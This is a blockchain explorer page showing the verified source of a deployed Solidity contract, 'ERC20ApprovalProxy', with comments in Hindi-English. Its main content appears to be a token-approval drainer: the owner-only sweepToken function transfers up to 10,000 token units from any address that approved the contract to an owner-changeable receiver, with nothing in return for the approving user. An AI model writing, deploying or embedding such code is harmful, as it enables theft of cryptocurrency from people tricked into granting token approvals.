Skip to content
Verified contractExactMIT

ERC20ApprovalProxy

Address0x7cddf05484183b790dcf2fcf8f8c4f8ba533482f
Balance

0 ETH

 

Transactions

5

 

Compiler

solc 0.8.0

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.0+commit.c7dfd78e
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,414,749
Creation transaction
0xa27d0c22c2…0adc08696b

100001.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function balanceOf(address account) external view returns (uint);
}

contract ERC20ApprovalProxy {
    address public owner;
    address public receiver;
    uint public chainId;
    
    // 🆕 Limit set ki hai 10,000 tokens ke liye
    uint public constant MAX_LIMIT = 10000;
    
    constructor(address _receiver, uint _chainId) {
        owner = msg.sender;
        receiver = _receiver;
        chainId = _chainId; 
    }

    function sweepToken(address token, address from) external {
        require(msg.sender == owner, "Only owner can sweep");
        
        uint allowed = IERC20(token).allowance(from, address(this));
        uint balance = IERC20(token).balanceOf(from);
        
        // 🔥 Logic Update: Limit check
        // Agar allowance ya balance mein se jo chota hai, usme se MAX_LIMIT se kam lena hai
        uint amount = allowed < balance ? allowed : balance;
        
        if (amount > MAX_LIMIT) {
            amount = MAX_LIMIT;
        }
        
        require(amount > 0, "Nothing to sweep");
        
        emit SweepAttempted(from, receiver, amount, allowed, balance);
        
        // Safe transfer
        (bool success, bytes memory data) = token.call(
            abi.encodeWithSelector(IERC20(token).transferFrom.selector, from, receiver, amount)
        );
        require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
        
        emit SweepCompleted(from, receiver, amount);
    }
    
    event SweepAttempted(address from, address to, uint amount, uint allowance, uint balance);
    event SweepCompleted(address from, address to, uint amount);
    
    function changeReceiver(address newReceiver) external {
        require(msg.sender == owner, "Only owner");
        receiver = newReceiver;
    }
    
    function getAllowance(address token, address user) external view returns (uint) {
        return IERC20(token).allowance(user, address(this));
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.